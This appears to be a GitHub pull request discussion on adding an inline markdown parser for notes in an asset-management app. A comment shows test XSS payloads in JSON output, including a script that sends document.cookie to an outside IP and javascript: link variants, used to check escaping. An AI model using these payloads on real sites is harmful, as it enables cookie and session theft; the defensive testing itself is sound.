-
-
Notifications
You must be signed in to change notification settings - Fork 3.3k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Added Inline markdown method #13288
Added Inline markdown method #13288
Conversation
Signed-off-by: snipe <[email protected]>
Signed-off-by: snipe <[email protected]>
Signed-off-by: snipe <[email protected]>
PR Summary
|
Signed-off-by: snipe <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good but I added a couple notes
I think it should be added to accessories.view.blade.php
and components.view.blade.php
too right?
The note isn't being presented as expected in the asset model table:
@@ -33,6 +33,16 @@ public static function parseEscapedMarkedown($str = null) | |||
} | |||
} | |||
|
|||
public static function parseEscapedMarkedownInline($str = null) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks like we misspelled the original method as well but this should be Markdown
and not Markedown
😅
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don’t think that was a misspelling - Marked as in “this is marked down text”
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🤔 huh...my mind went to the text having been "markdowned" but that doesn't really make sense
I cannot for the life of me figure out why asset models isn't showing as expected. It's clearly parsing the markdown, based on formatting. If I add an I also worry about throwing in a bunch of HTML into an API response, but the only other way to handle that would be to try to parse the markdown in the javascript, which sounds horrible and would most likely not be a perfect match for the PHP parsedown convention. Not sure - @uberbrady - any thoughts? |
Signed-off-by: snipe <[email protected]>
Welp, Brady and I discussed it, and I think the best way is to just proceed with the HTML output. If it comes up with a user, we can fix it moving forward. Just before v7, we should create two versions of the output, something like: "notes": {
"original": "# Blah",
"formatted": "<h1> Blah</h1>"
}, but I don't feel comfortable doing that now since it would be a breaking change to the shape of the API. |
Weirdly, when I use the "notes": "Just a plain note.<br />\r\n<br />\r\n<a href=\"http://localhost:81/DVWA/vulnerabilities/xss_r/?name\">http://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=<script>alert(document.cookie)</script><br />\r\n<br />\r\n<script>new Image().src="<a href=\"https://192.165.159.122/fakepg.php?output="+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;</script><br />\r\n<br />\r\n#123456<br />\r\n<br />\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong><br />\r\n<br />\r\n<b>Hello!</b><br />\r\n<br />\r\n<a href=\"javascript%3Aalert('Basic')\">Basic</a><br />\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)<br />\r\n<a href=\"JaVaScRiPt%3Aalert('CaseInsensitive')\">CaseInsensitive</a><br />\r\n<a href=\"javascript%3A//www.google.com%0Aalert('URL')\">URL</a><br />\r\n<a href=\"'javascript%3Aalert("InQuotes")'\">In Quotes</a><br />\r\n<br />\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>", versus the other ones, where it looks like: "notes": "Just a plain note.\r\n\r\n<a href=\"http://localhost:81/DVWA/vulnerabilities/xss_r/?name\">http://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=<script>alert(document.cookie)</script>\r\n\r\n<script>new Image().src="<a href=\"https://192.165.159.122/fakepg.php?output="+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;</script>\r\n\r\n#123456\r\n\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong>\r\n\r\n<b>Hello!</b>\r\n\r\n<a href=\"javascript%3Aalert('Basic')\">Basic</a>\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)\r\n<a href=\"JaVaScRiPt%3Aalert('CaseInsensitive')\">CaseInsensitive</a>\r\n<a href=\"javascript%3A//www.google.com%0Aalert('URL')\">URL</a>\r\n<a href=\"'javascript%3Aalert("InQuotes")'\">In Quotes</a>\r\n\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>", I wonder if I'm missing a formatter somewhere. |
Yep, that was it. |
Signed-off-by: snipe <[email protected]>
This fixes a sort-of bug introduced in #13222 which added markdown to notes - very helpful if you often include links in your notes - much less helpful if you use hashes like for order numbers (
#12345
), since the markdown parses the entire block of text and would turn that hashed line into a giant<h1></h1>
headline.I realize this is a bit duplicative, but I'm actually okay with it, since it forces you to explicitly decide which of these you want. It could have been passed as a parameter to the same method, but I think this is clearer in intent.
This way, notes still parse links and other light formatting, but there dashboard message, footer, EULAs, etc still work as expected.
I'm noticing that our CSP isn't preventing outside images from being parsed in markdown, and that's something I'm trying to sort out, either by blocking images altogether in markdown, or fixing the CSP. (CSP can be set by the web server as well, so it's not entirely our responsibility, but you can currently embed images via markdown even on the demo, so this PR doesn't break anything.)
This would fix FD-36680
This feels weird, since we're no longer using the
{{ $foo }}
built-in escaping, but the markdown stuff handles that.The test text I used to check for XSS in JS/Markdown is: